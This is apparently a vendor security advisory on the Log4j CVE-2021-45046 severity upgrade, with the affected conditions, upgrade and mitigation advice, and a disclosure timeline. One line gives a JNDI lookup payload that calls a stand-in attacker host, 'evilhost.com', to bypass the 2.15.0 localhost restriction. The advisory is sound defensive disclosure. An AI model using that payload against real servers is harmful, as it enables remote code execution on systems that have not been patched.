Log4j 2.15 vulnerability CVE-2021-45046 upgraded to a critical severity arbitrary code execution

It has been discovered that Log4j version 2.15.0 is still susceptible to an arbitrary code execution attack, under certain circumstances. Upgrade to version 2.16.0 or later, to protect your applications against CVE-2021-44228 and CVE-2021-45046.

The latest vulnerability disclosed against Log4j 2 (CVE-2021-45046), which was originally disclosed as a low severity denial of service with a CVSS score of 3.7, has now been upgraded to high severity, arbitrary code execution vulnerability with a CVSS score of 9.0. Additionally, this means that Log4j version 2.15.0 which was previously thought to be safe from arbitrary code execution is now exploitable under certain conditions.

A malicious actor is able to bypass the mitigation implemented in version 2.15.0 that limits JNDI lookups to localhost only: ${jnđi:ldap://127.0.0.1#evilhost.com:1389/a}.

We recommend updating to version 2.16.0, which completely disables JNDI lookups by default. If upgrading is not an option, this issue can be mitigated in prior releases by removing the JndiLookup class from the classpath (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class).

Am I affected by the upgraded vulnerability?

Your application is vulnerable if you are running one of the affected versions of the Log4j package (from 2.0-beta9 to 2.15.0, excluding 2.12.2) and meet at least one of the following conditions:

1. Logging configuration explicitly enables lookups — either by default (if using a version lower than 2.15.0) or manually by using %m{lookups} as formatMsgNoLookups is switched on by default as of version 2.15.0.

1. Uses a non-default Pattern Layout with Context Lookup where attackers can control input data via Thread Context Map (MDC),

1. Uses Logger.printf("%s", userInput) function where attackers can control the userInput variable.

IMPORTANT NOTE: You will need to audit both your source code and runtime instances to be able to validate that you do not meet any of the conditions above. This is not an easy task, and if you are in doubt, you should assume that you are potentially vulnerable.

What you need to do now

TAKE ACTION! Upgrade to version 2.16.0 or higher immediately to mitigate this issue. This is the safest version currently available that mitigates both the recently disclosed Log4j vulnerabilities (CVE-2021-44228 and CVE-2021-45046).

Check out our Log4j resources page for a list of all the latest blogs, videos, and this one-page Log4Shell remediation cheat sheet.

Log4j vulnerability timeline (CVE-2021-44228 and CVE-2021-45046)

• July 18th, 2013 – The code that introduces JNDI lookups and the vulnerability has been committed
• November 24, 2021 – Apache private disclosure
• November 29 – Apache begins attempting to fix “quietly” but in public PRs and tickets
• December 1 – The first rudimentary exploit attempts noted in the wild 
• December 5 – All fixes are merged into the master branch
• December 9 – A GitHub user raises the suspicion that the fix relates to a security vulnerability
• December 9 – A user creates a GitHub issue in the google/tsunami-security-scanner-plugins repository, identifying the RCE vulnerability in Log4j
• December 9 – Issue is leaked unofficially in a tweet by user p0rz9. 
• December 9 – PoC was published on Github (unclear of the relation to actors to Alibaba or Apache teams)
• December 10 – Issue “officially” disclosed and given CVE (CVE not yet published to MITRE). Fixed version 2.15.0 was released.
• December 10 – CVE Mitre updated, assigned (CVE-2021-44228)
• December 10 – Critical severity added to Snyk SCA (CVE-2021-44228)
• December 13 – Version 1.x medium severity vulnerability advisory (CVE-2021-4104)
• December 14 – Version 2.15 medium severity DoS vulnerability discovered (CVE-2021-45046)
• December 17 – CVE-2021-45046upgraded to critical severity and recategorized as Arbitrary Code Execution